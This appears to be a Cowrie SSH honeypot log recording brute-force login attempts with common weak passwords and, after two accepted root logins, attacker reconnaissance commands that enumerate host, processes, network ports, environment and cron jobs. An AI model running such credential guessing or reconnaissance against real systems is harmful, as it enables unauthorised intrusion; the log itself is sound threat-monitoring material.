{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:09:11.470972Z","src_ip":"195.178.110.218","session":"fbbac4b33378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:09:12.552339Z","src_ip":"195.178.110.218","session":"fbbac4b33378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":59784,"dst_ip":"10.17.0.5","dst_port":22,"session":"849304bd27c3","protocol":"ssh","message":"New connection: 92.118.39.92:59784 (10.17.0.5:22) [session: 849304bd27c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:10:41.139192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:10:41.144754Z","src_ip":"92.118.39.92","session":"849304bd27c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:10:41.243611Z","src_ip":"92.118.39.92","session":"849304bd27c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:10:41.537690Z","src_ip":"92.118.39.92","session":"849304bd27c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:10:42.641634Z","src_ip":"92.118.39.92","session":"849304bd27c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59454,"dst_ip":"159.203.135.109","dst_port":22,"session":"6722e600e281","protocol":"ssh","message":"New connection: 195.178.110.218:59454 (159.203.135.109:22) [session: 6722e600e281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:11:54.578312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:11:54.582509Z","src_ip":"195.178.110.218","session":"6722e600e281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:11:54.662492Z","src_ip":"195.178.110.218","session":"6722e600e281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:11:54.951467Z","src_ip":"195.178.110.218","session":"6722e600e281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:11:56.034195Z","src_ip":"195.178.110.218","session":"6722e600e281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":63808,"dst_ip":"10.17.0.5","dst_port":22,"session":"5afa37bd1aa8","protocol":"ssh","message":"New connection: 103.82.27.19:63808 (10.17.0.5:22) [session: 5afa37bd1aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:12:01.824909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:12:01.829661Z","src_ip":"103.82.27.19","session":"5afa37bd1aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:12:02.088603Z","src_ip":"103.82.27.19","session":"5afa37bd1aa8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"iloveyou","message":"login attempt [root/iloveyou] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:12:02.869107Z","src_ip":"103.82.27.19","session":"5afa37bd1aa8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:12:03.720493Z","src_ip":"103.82.27.19","session":"5afa37bd1aa8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:12:03.722680Z","src_ip":"103.82.27.19","session":"5afa37bd1aa8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:12:04.016569Z","src_ip":"103.82.27.19","session":"5afa37bd1aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:12:04.021433Z","src_ip":"103.82.27.19","session":"5afa37bd1aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":50432,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe5b7819198d","protocol":"ssh","message":"New connection: 193.32.162.151:50432 (159.203.135.109:22) [session: fe5b7819198d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:12:06.269466Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:12:06.381471Z","src_ip":"193.32.162.151","session":"fe5b7819198d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":48198,"dst_ip":"10.17.0.5","dst_port":22,"session":"80c7826278ea","protocol":"ssh","message":"New connection: 92.118.39.92:48198 (10.17.0.5:22) [session: 80c7826278ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:13:01.814407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:13:01.819349Z","src_ip":"92.118.39.92","session":"80c7826278ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:13:01.928404Z","src_ip":"92.118.39.92","session":"80c7826278ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:13:02.250416Z","src_ip":"92.118.39.92","session":"80c7826278ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:13:03.361706Z","src_ip":"92.118.39.92","session":"80c7826278ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48998,"dst_ip":"159.203.135.109","dst_port":22,"session":"07b50a577015","protocol":"ssh","message":"New connection: 195.178.110.218:48998 (159.203.135.109:22) [session: 07b50a577015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:14:36.258618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:14:36.262919Z","src_ip":"195.178.110.218","session":"07b50a577015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:14:36.344695Z","src_ip":"195.178.110.218","session":"07b50a577015","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:14:36.583209Z","src_ip":"195.178.110.218","session":"07b50a577015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:14:37.666427Z","src_ip":"195.178.110.218","session":"07b50a577015","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":36620,"dst_ip":"10.17.0.5","dst_port":22,"session":"2068489ba1d9","protocol":"ssh","message":"New connection: 92.118.39.92:36620 (10.17.0.5:22) [session: 2068489ba1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:15:24.529991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:15:24.533747Z","src_ip":"92.118.39.92","session":"2068489ba1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:15:24.647594Z","src_ip":"92.118.39.92","session":"2068489ba1d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"testuser","message":"login attempt [root/testuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:15:24.973876Z","src_ip":"92.118.39.92","session":"2068489ba1d9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:15:25.229000Z","src_ip":"92.118.39.92","session":"2068489ba1d9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:15:25.232026Z","src_ip":"92.118.39.92","session":"2068489ba1d9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:15:25.338403Z","src_ip":"92.118.39.92","session":"2068489ba1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:15:25.342769Z","src_ip":"92.118.39.92","session":"2068489ba1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":38706,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9d4214a00c8","protocol":"ssh","message":"New connection: 193.32.162.151:38706 (159.203.135.109:22) [session: a9d4214a00c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:25.891175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:16:25.895688Z","src_ip":"193.32.162.151","session":"a9d4214a00c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v0